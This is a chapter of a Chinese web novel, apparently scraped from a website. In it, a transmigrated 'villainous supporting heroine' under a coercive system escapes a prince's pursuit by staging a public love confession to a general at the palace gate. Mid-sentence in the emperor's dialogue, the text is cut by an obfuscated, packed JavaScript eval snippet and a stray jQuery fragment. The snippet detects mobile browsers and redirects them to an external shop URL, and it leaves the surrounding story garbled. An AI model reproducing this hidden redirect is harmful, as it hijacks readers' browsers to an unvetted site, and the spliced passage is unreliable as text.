“卜大小姐,好巧啊,你想去哪里逛,我今日闲来无事,不如一起。”
卜桑桑手里的羊肉串瞬间就不香了。
这样熟悉的开场白,自从上次寿宴下药之后,她已经听了不下二十多次了。
每日只要她出门,不多一会儿,褚铮就会刷新在她附近,然后找各种理由陪她逛街。她若是拒绝,打道回府,他就会说跟她父亲投缘,然后跟着她回去。
投缘个鬼啊,她爹都被他气得吃了好几副药了。
卜桑桑看都不看他,一个劲往前走。
褚铮也不气恼,大步追上她,边走边对她笑道:“缀锦楼新出了许多首饰,那里胭脂水粉非常好,京里的姑娘都爱去那逛,你要不要也去看看?”
卜桑桑停下脚步:“你是说,我用的东西粗糙,不及那些名门闺秀?可我这个人都是粗糙的,配不上那些东西。”
“我不是这个意思。”褚铮见她有些不悦,忙解释道,“你天生丽质,根本用不着那些,你若是有喜欢的东西,我买给你。”
卜桑桑道:“你吃错药都多少天了,还没缓过来啊?”
“我是担心,那天吓到了你。”褚铮一脸郑重地承诺,“你放心,我一定会负责的,只要你愿意,我明日进宫就请皇兄赐婚。”
卜桑桑真想把手里的羊肉串扔在他脸上,这些天,他们一家几乎把讨厌他写在脸上了,他愣是装瞎,不就是看准了,他们作为臣子,不敢明着冒犯他吗?
现在,他连赐婚都搬出来了,分明就是不给人拒绝的余地。
她可以确定,这二十多天,他一定派了人监视着她的行踪。
卜桑桑无心再与他周旋,面首计划受阻,正常人家的男子更是无人敢接近她,她想摆脱褚铮,简直是难如登天。
她再这么被动下去,迟早会走向原书的结局。
“我累了,现在要回家睡觉,王爷不会也要跟着吧?”
褚铮笑道:“那我送你回去。”
卜桑桑睨了他一眼,无奈往回走。
一路上,她都没有理会褚铮,褚铮也只是沉默着走在她身侧,送她回府之后便转身离开了。
卜桑桑一回到后院,就看到一家人围坐在一起,见她进来,眼神都是担忧。
卜尚书问道:“又是乾王送你回来的?”
卜桑桑点点头,过去坐下,她想了一路,现在唯一的解就是向褚铮认错,或者说向宋惜宁磕头认错,保证以后再不欺负她。也许这样,褚铮会高抬贵手放过她。
可是,那个恶毒系统悬在头上,她不做,卜家还是难逃厄运。
身前身后都是悬崖,她无论怎么选,似乎都只有死路一条。
卜尚书叹口气道:“事到如今,你已经没有退路了,乾王对你的心思已是人尽皆知。皇上今日还特意暗示了爹,能给乾王做妾,也是你的荣幸。”
卜桑桑什么都没说,卜青禾却无法接受:“凭什么?如此瞧不起人,还想霸占着,皇室也欺人太甚了。”
卜天麟道:“那能怎么办?雷霆雨露皆是君恩,皇上都这样说了,除非乾王不要,否则我们一点办法都没有。”
卜桑桑听得更加烦心:“算了,你们别替我操心了,我会自己想办法的。”
【叮!恶毒女配请动手:宫门前向男主表白,时限一日。】
系统音毫无预兆再次响起,卜桑桑连反应的力气都没了,表白而已,不痛不痒。
即使她不做,反噬到自家人身上,想必也不会有什么大问题。
她本想不理会这次任务,脑中突然闪过一个念头:“你们说,假如我当众向别的男人表明心迹,皇上还会让褚铮娶我吗?”
卜天麟摇摇头道:“应该不会,事关男人的尊严,倘若你真这样做了,皇上怎么也会劝他打消念头的。”
“那我不会连累全家吧?”卜桑桑有些不放心地问道。
卜尚书道:“你不用操心这个,趁现在你还不是乾王的人,想做什么就去做,皇上最多训斥两句,爹顶得住。”
卜桑桑感激地抱了抱他道:“谢谢爹,都是我让您受累了。”
……
有了全家的支持,卜桑桑决定将此事办得轰轰烈烈,定要让某人终生难忘。
——
次日早朝,卜尚书难得没跟人争辩,安安静静地熬到下朝,快步走出宫门,在一众官员疑惑的目光中,乘轿离去。
褚铮留下来和皇上一起用膳,刚放下碗筷,就见一众太监宫女捧着画轴走进来。
画卷打开,俱是一幅幅美人画像,总管太监挨个介绍着画像之人的家世姓名。
等他介绍完,褚铮立刻起身准备向皇上告辞。
皇上却打算就此放过他:“你告诉朕,你今年多大了?”
褚铮知道他的意思,沉默着没有回答。
皇上“哼哼”冷笑两声,道:“你想干什么?朕让你选了四年,放眼京城,多少名门闺秀,你一味推诿回避。你若有隐疾,大可如实禀明,朕即刻召太医入府为你医治。你府上不是还住着神医吗?让他为你治治。”
褚铮看着皇上,淡淡道:“臣弟并无隐疾,皇兄不必费心。”
“那你就给朕选一个,无论如何,今年你必须成亲。”皇上说完又试探道,“别的女子入不了你的眼,那卜桑桑呢?”
褚铮垂眸,掩去眼底的复杂情绪,张了张嘴,一时不知该如何回应。
皇上看他欲言又止的样子,说道:“论家世,她是配得上你。可别的方面,她一无是处,你若着实喜欢,朕可以让她给你做个侧妃,正妃另行再选。”
侧妃吗?
褚铮不由得浮现出一个画面:乾王府中,卜桑桑按着正妃疯狂殴打,他上去阻止,卜桑桑毫不犹豫地连他一块儿揍,整个乾王府日日鸡飞狗跳……
他被自己脑中这荒诞又生动的画面惊得背脊一凉,下意识开口:“容臣弟再想想。”
“还要再想,你不会想娶她做正妃吧?”皇上语气严厉,“朕告诉你,朕不答应
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17641474|206041||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,你别跟朕开这个口。”
他们这厢正说着,忽见一个公公匆匆跑了进来,神色怪异地看了褚铮一眼,复又低下了头,踌躇不语。
皇上皱眉道:“发生了何事?”
那公公小心翼翼地回道:“禀皇上,尚书府的大小姐……在宫门口,正拦着纪将军……”
他话还未说完,褚铮已经大步走出了殿外。
虽说心里有所准备,但他到了宫门口才发现,他还是低估了卜桑桑的折腾能力。
只见地面上用花瓣铺着“我爱纪砚寒”五个大字,而那个惹事精还在那里拉着纪砚寒,说着令人脸红心跳的情话。
“我从八岁起就认定了你,我真的好爱你。这段日子以来,你移情别恋,我是食不下咽、夜不安寝。也许只有在梦里的时候,你才会对我那么温柔,那么不舍……”
这里是下朝的必经之路,官员们大多都还没离开。
纪砚寒红着脸,尴尬地打断她:“卜大小姐,在下已经心有所属,还请你自重。”
卜桑桑一脸哀伤,使劲压下唇角:“你好狠的心啊,你忘了我们以前也是有过好时光的,男人的心真是变得好快。可是我不会变,我今生非你不嫁,磐石虽转,蒲苇依旧……”
纪砚寒跟她实在说不清,围观者的目光令他如芒刺在背,他饶过卜桑桑,想要远离此地。
见他要走,卜桑桑一咬牙,扑上去,紧紧抱住纪砚寒的腰,大声道:“你有了新欢,就忘了旧爱,我把一切都给了你,我的心、我的身,都是你的,你得为我负责,做妻、做妾、做奴婢、做丫鬟,我都认了,只要能陪在你身边。”
围观者纷纷倒吸一口凉气,官员们见到褚铮面色阴沉,一语不发地站在后面,迅速低下头,让出一条道来。
纪砚寒举着两只手,只觉羞愤难当,他想将卜桑桑扒开,又不敢碰她。
正自为难,却见褚铮走了过来,忙抱拳道:“王爷,微臣与卜大小姐清清白白,绝无半点逾越。”
卜桑桑听到褚铮到来,还想再加把劲,忽觉腕上被人握住,手臂一麻,瞬间一点力气都使不上了。
她被迫放开纪砚寒,手腕还被褚铮握着,手臂酸麻,可她一点都不想示弱,狠狠瞪了褚铮一眼,然后将头撇向一边。
只听褚铮语气平静道:“你们可以走了。”
纪砚寒如蒙大赦:“多谢王爷,微臣告退。”
卜桑桑不甘就此结束,冲着纪砚寒喊道:“纪砚寒,我知道你心里是有我的,我们虽然被无情棒打鸳鸯,但我心里永远爱你,谁都无法取代!”
纪砚寒飞身上马,头也不回地扬长而去。
众位官员谁也不敢再做停留,很快便都离开了。
没了围观之人,宫门口一时沉寂下来。
褚铮看了她半晌,终是松了手。他刚才捏着她腕上的穴道,那种感觉并不好受,可她却似浑然未觉。
他知道,她在用这样的方式向他抗争,只是他实在不知,自己哪里惹到了她?